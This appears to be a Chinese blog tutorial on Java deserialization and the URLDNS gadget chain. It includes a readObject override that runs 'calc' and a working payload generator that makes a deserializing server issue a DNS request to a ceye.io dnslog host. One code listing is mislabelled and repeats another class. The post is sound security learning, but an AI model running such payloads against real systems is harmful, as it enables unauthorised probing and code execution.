• Java URLDNS链学习


    原生Java序列化

    被序列化的对象必须继承Serializble

    Person.java

     
    package com.superman;
     ​
    import java.io.Serializable;
     ​
    public class Person implements Serializable {
         private String name;
         private int age;
     ​
         @Override
         public String toString() {
             return "Person{" +
                     "name='" + name + '\'' +
                     ", age=" + age +
                     '}';
         }
     ​
         public String getName() {
             return name;
         }
     ​
         public void setName(String name) {
             this.name = name;
         }
     ​
         public int getAge() {
             return age;
         }
     ​
         public void setAge(int age) {
             this.age = age;
         }
     ​
         public Person(String name, int age) {
             this.name = name;
             this.age = age;
         }
     }

    序列化程序 URLCC.java

     package com.superman;
     ​
     import java.io.Serializable;
     ​
     public class Person implements Serializable {
         private String name;
         private int age;
     ​
         @Override
         public String toString() {
             return "Person{" +
                     "name='" + name + '\'' +
                     ", age=" + age +
                     '}';
         }
     ​
         public String getName() {
             return name;
         }
     ​
         public void setName(String name) {
             this.name = name;
         }
     ​
         public int getAge() {
             return age;
         }
     ​
         public void setAge(int age) {
             this.age = age;
         }
     ​
         public Person(String name, int age) {
             this.name = name;
             this.age = age;
         }
     }

    反序列化程序 UnserializeTest.java

     package com.superman;
     ​
     import java.io.*;
     ​
     public class UnserializeTest {
         public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
             ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
             Object object = objectInputStream.readObject();
             return object;
         }
         public static void main(String[] args) throws IOException, ClassNotFoundException {
             Person person = (Person) unserialize("C://ser.txt");
             System.out.println(person);
         }
     }

    当被序列化对象里面重写了readObject方法,反序列化时重写的readObject中代码会自动执行。

    如将上面Person类添加一个readObject方法

    Person.java

    package com.superman;
     ​
     import java.io.IOException;
     import java.io.ObjectInputStream;
     import java.io.Serializable;
     ​
     public class Person implements Serializable {
         private String name;
         private int age;
     ​
         @Override
         public String toString() {
             return "Person{" +
                     "name='" + name + '\'' +
                     ", age=" + age +
                     '}';
         }
     ​
         public String getName() {
             return name;
         }
     ​
         public void setName(String name) {
             this.name = name;
         }
     ​
         public int getAge() {
             return age;
         }
     ​
         public void setAge(int age) {
             this.age = age;
         }
     ​
         public Person(String name, int age) {
             this.name = name;
             this.age = age;
         }
     ​
         private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
             ois.defaultReadObject();
             Runtime.getRuntime().exec("calc");
         }
     }

    反序列化漏洞条件

    共同条件继承Serializable

    入口类 source(重写readobject方法,调用常见函数,参数类型宽泛,最好jdk自带)

    调用链 gadget chain 相同名称,相同类型

    执行类sink (rce ssrf写文件等)

    URLDNS链就是利用了hashCode方法,具体分析如下。

    寻找入口类

    Map接口参数类型宽泛,其实现类HashMap()继承Serializable并重写了readObject方法,readObject里面调用了常见的函数。一般都是使用该类为入口类

    image-20220121174423484

    image-20220121174445686

    for循环遍历mapping,并将键进行hash计算确保键的唯一性。走进hash方法,当key不为null时进行hashCode计算,而hashCode方法是一个常用方法。

    image-20220121174739396

    这样我们就找到了一个入口类hashMap,接下来我们就寻找哪些调用函数调用了hashCode方法。

    调用链

    这里以URLDNS链为例,首先URL类也继承了Serializable

    image-20220121175103054

    并且与HashMap一样实现了hashCode方法

    image-20220121175819848

    尝试写下序列化方法

    URLCC.java

     
    package com.superman;
     ​
     import java.io.*;
     import java.net.URL;
     import java.util.HashMap;
     ​
     public class URLCC {
         public static void serialize(Object obj) throws IOException {
             ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
             objectOutputStream.writeObject(obj);
             objectOutputStream.close();
         }
     ​
         public static void main(String[] args) throws IOException {
             //入口类
             HashMap<Object, Integer> hashMap = new HashMap<Object, Integer>();
    
             //调用链
             URL url = new URL("http://nk436i.ceye.io");
    
             //执行类
             hashMap.put(url,123);
             serialize(hashMap);
         }
     }

    当我们去序列化的时候发现dnslog平台会接收到请求,追其原因是当hash.put时会触发key.hashCode(),而这个key在代码中是URL类对象,

    image-20220126151006727

    image-20220126151045060

    URL的hashCode方法,当hashCode等于-1时便走不进希望的handler.hashCode方法,实现getHostAddress方法去请求dns。其中hashCode初始化赋值-1,所以需要用反射修改其属性值

    image-20220126151155652

    handler.hashCode代码

    image-20220126151353861

    修改代码逻辑

    URLCC.java

     package com.superman;
     ​
     import java.io.*;
     import java.lang.reflect.Field;
     import java.net.URL;
     import java.util.HashMap;
     ​
     public class URLCC {
         public static void serialize(Object obj) throws IOException {
             ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
             objectOutputStream.writeObject(obj);
             objectOutputStream.close();
         }
     ​
         public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
             //入口类
             HashMap<Object, Integer> hashMap = new HashMap<Object, Integer>();
     ​
             //调用链
             URL url = new URL("http://nk436i.ceye.io");
               //将hashCode更改为非-1的值,使其序列化的时候不会发起dns请求
             Class<? extends URL> aClass = url.getClass();
             Field hashCodeField = aClass.getDeclaredField("hashCode");
             hashCodeField.setAccessible(true);
             hashCodeField.set(url,1234);
     ​
             //执行类
             hashMap.put(url,123);
               //将hashCode改为-1,使其反序列化的时候能发起dns请求
             hashCodeField.set(url,-1);
             serialize(hashMap);
         }
     }

    UnserializeTest.java

     
    package com.superman;
     ​
     import java.io.*;
     ​
     public class UnserializeTest {
         public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
             ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
             Object object = objectInputStream.readObject();
             return object;
         }
         public static void main(String[] args) throws IOException, ClassNotFoundException {
             unserialize("C://ser.txt");
         }
     }

    总结下来这类反序列化利用就是反序列化后调用HashMap的重写的readobject,里面继续调用到key.hashCode等常用方法,只要找同样为Object类型有hashCode方法的类即可,URLDNS链并不能存在实际危害,只是用来探测是否能反序列化利用的工具链。

  • 相关阅读:
    Redis-高级教程-Java 使用
    Redis-高级教程-分区
    Redis-高级教程-管道技术
    Redis-高级教程-客户端连接
    Redis-高级教程-性能测试
    Redis-高级教程-安全
    Redis-高级教程-数据备份与恢复
    Redis-命令-Stream
    NG-ZORRO + Angular11增加自定义全局样式,不影响其他页面全局样式,仅作用于当前页面
    VUE上传表格文件发送后端,后端解析以及上传文件,前端进行解析的实现方法
  • 原文地址:https://www.cnblogs.com/sup3rman/p/15877937.html
Copyright © 2020-2023  润新知